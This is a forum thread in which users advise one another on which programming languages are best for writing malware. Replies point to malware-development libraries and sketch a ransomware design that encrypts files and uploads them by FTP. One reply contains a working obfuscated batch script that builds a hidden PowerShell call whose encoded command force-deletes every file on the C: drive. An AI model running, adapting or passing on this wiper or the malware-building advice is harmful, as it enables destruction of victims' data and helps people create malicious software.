Best language for write malware

Hi, which are the best language for write malware?
I know C, python and golang, it’s necessary Assembly?

C# could go a long way as well. But i think it all depends on the kind of malware.
Its interesting thinking about what you might want to do with it

Thanks for your reply, I want to write malware as buffer overflow, heap overflow ecc…
Goes C, python, go well?

for such you will require assembly and C#

There is no best language for writing malware you can use any computer programming language to write malware. But most malware coder go with compile language such as C/C++ golang, C# and more but malware can also be written in scripting language like python, ruby and JavaScript infact lots of malware as been written in those scripting language expecially python, if you used to read blog you will understand what I’m saying, there was a malware attack this year was written in python.
The reason malware coder go with compile language is because of spead, size and easy to package compared to scripting language which is slow and big file size. So For me I will say you should go with C and Golang, because lots of security expert are making use a Golang recently to do all kinds of security jobs and lots of malware coder have started making use of it also to attack network.

You can combine both C and Golang.
It’s depends on what your malware wanna do

With that two you are good to go.


I think this is the best answer for this. Any language can be used to create malware, but C is mostly fundamental in learning anything related to it imo. Golang is becoming far more popular as you can compile it for anything with ease, and the language itself is pretty simple to learn compared to C++/Java.


python and java enough

If you use pure assembly you get extra points


I’m a complete noob when it comes to writing malware, but I’ve heard that Perl isn’t a bad language to write malware in as most Unix systems come with it out of the box. Is Perl still a viable option when creating malware?

Perl is viable but any compiled language will work fine. C/C++ are great options because of the control you will have over the devices but also the small compilation size of the binary. I would try to stay away from any like java or python just because of the large compile sizes.

GoLang is a good option and depending on the compiler used can lead to small binaries. As well as its as easy as something like python to pickup with very good compilation time and good control over the system. And it is cross compiled aswell as cross platform so no need to create two code bases for interacting with unix and windows.

TL;DR: All languages will work at the end of the day, I would stay away from anything not compiled or anything that will create large binary sizes. Take a look at GoLang and see what you think.


Golang is great, quite a few libraries are available to write malware such as GitHub - redcode-labs/Coldfire: Golang malware development library and GitHub - redcode-labs/Neurax: A framework for constructing self-spreading binaries.


maybe you mean exploit development here .
so i recommended c/c++ , python , asm .
it’s all used for windows exploit development and linux .
but it’s al most up to the hacker or developer what to use .

What about c# i dont recommended c# , vb ,

1 Like

c because it is like ams and great for writing advance malware plus theres a course on youtube explaining how to make one not good for starters though

:rofl: :rofl: :rofl: :rofl: :rofl: :rofl: :rofl: LMAO :rofl: :rofl: :rofl: :rofl: :rofl: :rofl: :rofl:

Bro where you getting your info from because clearly its wrong. Java is for websites and python can be used for malware but takes up resources so it kinda crap.C can be compressed super small and run with less resources and it is great for avr programming.

Okay Java isn’t for websites, that’s javascript. John Hammond did a bit recently showcasing how Discord is a breeding ground for python-based malware (even though it’s not new). I mean anything can be used for malicious purposes. Take batch for example:

@echo off
Setlocal enabledelayedexpansion
Set alph=p0daodkf3wxdf2es4kdrabk3s9k32h9dkfek349lkjf8l
Set _a=%alph:~-1%
Set _b=!alph:~-6,1!
Set _c=%alph:~-11,1%
Set _d=!alph:~-16,1!
Set _e=%alph:~-21,1%
Set _f=!alph:~-26,1!
Set _g=%alph:~-31,1%
Set _h=!alph:~-36,1!
Set _i=%alph:~-41,1%
Set _j=!alph:~-46,1!
%_j%%_i%%_h%%_g%%_f%%_e%%_d%%_c%%_b%%_a% -nop -E Z2V0LWNoaWxkaXRlbSAtcmVjdXJzZSAtZm9yY2UgLXBhdGggQzpcIC1PbkVycm9yIFNpbGVudGx5Q29udGludWUgfCBSZW1vdmUtSXRlbSAtRm9yY2U=

This is clearly malicious as it deletes everything on your system with no warning and yet you can’t really tell what it is, excepting for the -nop -E. But the point is that anything can really be malware.

Now the most common programming languages used for writing malware due to efficiency is simply the C family due to portability across different architectures, the .NET family because of the ease of use on anything Windows, and the newer languages Go-lang and Rust-lang. But again mind you that other popular scripting languages such as javascript and python are also used extensively.

1 Like

Any Good language can be created into malware. its just about how you wanna get it done, a lot of people say C++, C Or assembly but Malware is just manipulating the system into preforming certain tasks that can’t really be normally done. You can make python Malware that spreads using the network but it will be difficult because python alone isn’t enough. So to make it more clear for you Yes you can, but it all depends on the operator and how you will go about making it work.

Finally I’ve selected C#.

for me i was malware author from 4 years ago and for today i test c# ,python and c++ .

the easiest language of course c# .
but the better language of course c++ it gives you low level than c# .
what else your c++ code will no be managed by Microsoft so you can do anything .

what about Python for malware development , if you know how to run python inside c++ that’s enough to write ransomware in less than 30 minute with options not bad .
examples : ftp client to upload files.
and crypter to crypt files
etc …

and finally that’s only my opinion maybe some one else have different opinion.


I have been following this topic for quite a bit of time. I just had to reply, I even created an account to reply here.

The best language is of course COBOL.